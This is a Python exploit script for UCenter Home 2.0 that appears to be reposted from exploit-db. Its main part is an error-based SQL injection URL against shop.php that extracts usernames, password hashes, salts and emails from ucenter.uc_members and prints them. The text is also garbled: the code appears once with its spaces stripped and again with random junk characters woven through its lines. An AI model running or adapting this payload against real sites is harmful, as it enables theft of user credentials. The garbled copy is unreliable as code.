#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl* e# w! U3 M# A4 H, W( m% c |. O
& ^8 r6 `- u, Z) d
. \7 X8 e( i& `#!/usr/bin/env python - Y' K3 ^( G* T X. U( ~4 L
+ `$ N# l: @( d% d
import sys ; M5 N. a) Z: T: ^1 @
import urllib2
6 z2 N' K$ \: J) i% jimport re
" K( Z0 g- w: F; d
/ Z5 ~, t \7 t1 \- `" t% E! q. Vdef info(): 8 H b- A+ A: m, o: M5 ~
print 'From:http://www.exploit-db.com/exploits/14997/'
/ X/ f4 T9 S* g) [2 W print 'http://www.hake.cc/Web_loudong/'
Y: P$ l; ?' Y8 K* X9 d7 T print 'changed:qiaoy' ( Q/ [3 w: f3 q$ X2 {
print 'exp:' + c1 L' g, v9 J0 {# D& X
print ' ./UCenter_Home_2.0.py site' , a, j# z) ^% ^% S6 W
+ ~) k- P/ w/ T8 L9 J9 ldef main():
3 x+ p7 d6 f- G8 Q. k% T if len(sys.argv) != 2:
) D5 ^. y+ P& [9 l2 P$ c7 F3 w- O info()
- y% I$ |0 R" h' e6 _ else: " ]# Z- O+ m% x/ o- j; |
site = sys.argv[1] , m! i( X. w8 \0 z
if site[0:7] == 'http://': 4 A4 D" ]- v$ R8 @9 @/ P. y
sitesite =site 3 n3 }3 v) ~2 x" i. Z
elif site[0:8] == 'https://':
M( |' d) }! W4 D0 [ sitesite = site 9 c5 J( c( l1 n+ q: y8 A
else:
$ g1 Q& U# v1 }5 } \- j7 p8 g site = 'http://'+site
; x3 }$ z. r' d; @ I+ i( u try:
# s3 ]( F+ l/ {' f) j url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
; N( y) G) z2 t, s* v5 i8 [ Value = urllib2.urlopen(url).read() . P( x2 o0 Z6 V1 h/ O
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
* o: A v+ }" q( @ hacked = Msg.split(':') * O7 k9 q+ H& r2 _
print 'Name: '+hacked[1]
) l( ~7 p0 `( c print 'Passwd: '+hacked[2]
( C4 q; r! s( C, n, L3 V8 a& @ print 'salt: '+hacked[3] + L7 D$ f8 a6 W+ m5 s: s; t$ W+ ^
print 'email: '+hacked[4] 1 _ q; A# U1 d) v u: b" R
except: - M/ V% k, Q0 @9 U/ _
print 'Sorry,I can\'t work............' ( t" U( o9 d( _* o) Q7 h+ v# m
: k% {$ u! M+ L, f, ~+ _" s& Gif __name__ == '__main__': : ~6 S0 [' U M" _* M: o- L
main() |